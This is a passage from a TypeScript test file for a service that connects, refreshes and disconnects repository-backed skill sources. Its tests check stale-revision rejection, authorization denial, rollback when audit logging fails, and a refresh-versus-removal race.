} finally { await db.delete(agents).where(eq(agents.id, agent!.id)); }
|
|
});
|
|
|
|
it('rejects stale revisions, other-company targets, and removal denied for a deselected skill', async () => {
|
|
const service = skillSourceService(db);
|
|
const created = await removalFixture();
|
|
const changed = await service.refresh(companyId, created.source.id, context, { revision: created.source.revision, selectedPaths: ['one/SKILL.md'], excludedFolders: [] });
|
|
await expect(service.disconnect(companyId, created.source.id, context, { revision: created.source.revision, skills: 'delete' })).rejects.toThrow(/changed/);
|
|
await expect(service.disconnect(randomUUID(), created.source.id, context, { revision: changed.source.revision, skills: 'delete' })).rejects.toThrow(/not found/);
|
|
const excluded = changed.source.entries.find(entry => entry.selection === 'excluded')!;
|
|
await expect(service.disconnect(companyId, created.source.id, { ...context, authorize: async (action, resource) => {
|
|
if (action === 'skills.remove' && resource.skillId === excluded.skillId) throw new Error('Protected skill');
|
|
} }, { revision: changed.source.revision, skills: 'delete' })).rejects.toThrow('Protected skill');
|
|
expect((await service.detail(companyId, created.source.id)).entries.filter(entry => entry.skillId)).toHaveLength(2);
|
|
});
|
|
|
|
it.each(['copy', 'delete'] as const)('rolls back source and skill changes when %s activity persistence fails', async choice => {
|
|
const service = skillSourceService(db), skills = companySkillService(db);
|
|
const created = await removalFixture();
|
|
await expect(service.disconnect(companyId, created.source.id, { ...context, audit: async () => { throw new Error('Audit unavailable'); } },
|
|
{ revision: created.source.revision, skills: choice })).rejects.toThrow('Audit unavailable');
|
|
expect((await service.detail(companyId, created.source.id)).revision).toBe(created.source.revision);
|
|
for (const skill of created.imported) {
|
|
expect(await skills.getById(companyId, skill.id)).toMatchObject({ sourceType: 'github', currentVersionId: skill.currentVersionId });
|
|
expect(await skills.readFile(companyId, skill.id, '.paperclip-repository/shared/image.png')).not.toBeNull();
|
|
}
|
|
});
|
|
|
|
it('removes a source while its refresh is in flight without resurrecting imports', async () => {
|
|
const service = skillSourceService(db), skills = companySkillService(db);
|
|
const created = await removalFixture();
|
|
let entered!: () => void, release!: () => void;
|
|
const started = new Promise<void>(resolve => { entered = resolve; });
|
|
const blocked = new Promise<void>(resolve => { release = resolve; });
|
|
const reader = context.read(null);
|
|
const refreshing = service.refresh(companyId, created.source.id, { ...context, read: () => Object.assign(async (request: string) => {
|
|
entered(); await blocked; return reader(request);
|
|
}, { openSnapshot: reader.openSnapshot }) }).then(() => null, error => error);
|
|
await started;
|
|
await service.disconnect(companyId, created.source.id, context, { revision: created.source.revision, skills: 'delete' });
|
|
release();
|
|
expect(await refreshing).toBeInstanceOf(Error);
|
|
await expect(service.detail(companyId, created.source.id)).rejects.toThrow(/not found/);
|
|
for (const skill of created.imported) expect(await skills.getById(companyId, skill.id)).toBeNull();
|
|
});
|
|
|
|
});
|